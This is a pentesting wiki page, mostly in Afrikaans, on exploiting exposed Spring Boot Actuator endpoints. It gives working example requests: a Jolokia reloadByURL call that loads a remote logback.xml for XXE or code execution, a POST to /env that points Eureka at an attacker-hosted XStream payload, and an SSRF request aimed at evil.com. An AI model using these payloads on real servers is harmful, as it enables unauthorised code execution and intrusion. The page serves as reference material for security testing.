65 lines
3.4 KiB
Markdown

# Spring Actuators
{{#include ../../banners/hacktricks-training.md}}
## **Spring Auth Bypass**
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Key Points:**
- Spring Boot Actuators registreer eindpunte soos `/health`, `/trace`, `/beans`, `/env`, ens. In weergawes 1 tot 1.4 is hierdie eindpunte toeganklik sonder verifikasie. Vanaf weergawe 1.5 is slegs `/health` en `/info` nie-sensitief per standaard, maar ontwikkelaars deaktiveer dikwels hierdie sekuriteit.
- Sekere Actuator eindpunte kan sensitiewe data blootstel of skadelike aksies toelaat:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, en `/heapdump`.
- In Spring Boot 1.x, word actuators geregistreer onder die wortel-URL, terwyl hulle in 2.x onder die `/actuator/` basispad is.
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- Die `/jolokia` actuator eindpunt stel die Jolokia Biblioteek bloot, wat HTTP-toegang tot MBeans toelaat.
- Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies.
- Voorbeeld van 'n uitbuit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- As Spring Cloud Biblioteke teenwoordig is, laat die `/env` eindpunt die aanpassing van omgewings eienskappe toe.
- Eienskappe kan gemanipuleer word om kwesbaarhede uit te buit, soos die XStream deserialisering kwesbaarheid in die Eureka serviceURL.
- Voorbeeld van 'n uitbuit POST versoek:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- Eienskappe soos `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, en `spring.datasource.tomcat.max-active` kan gemanipuleer word vir verskeie uitbuitings, soos SQL-inspuiting of die verandering van databasisverbindingstrings.
### **Additional Information:**
- 'n Omvattende lys van standaard actuators kan [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) gevind word.
- Die `/env` eindpunt in Spring Boot 2.x gebruik JSON-formaat vir eiendom aanpassing, maar die algemene konsep bly dieselfde.
### **Related Topics:**
1. **Env + H2 RCE**:
- Besonderhede oor die uitbuiting van die kombinasie van `/env` eindpunt en H2 databasis kan [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) gevind word.
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die hantering van matriksparameters (`;`) in HTTP-padname deur die Spring-raamwerk kan uitgebuit word vir Server-Side Request Forgery (SSRF).
- Voorbeeld van 'n uitbuit versoek:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}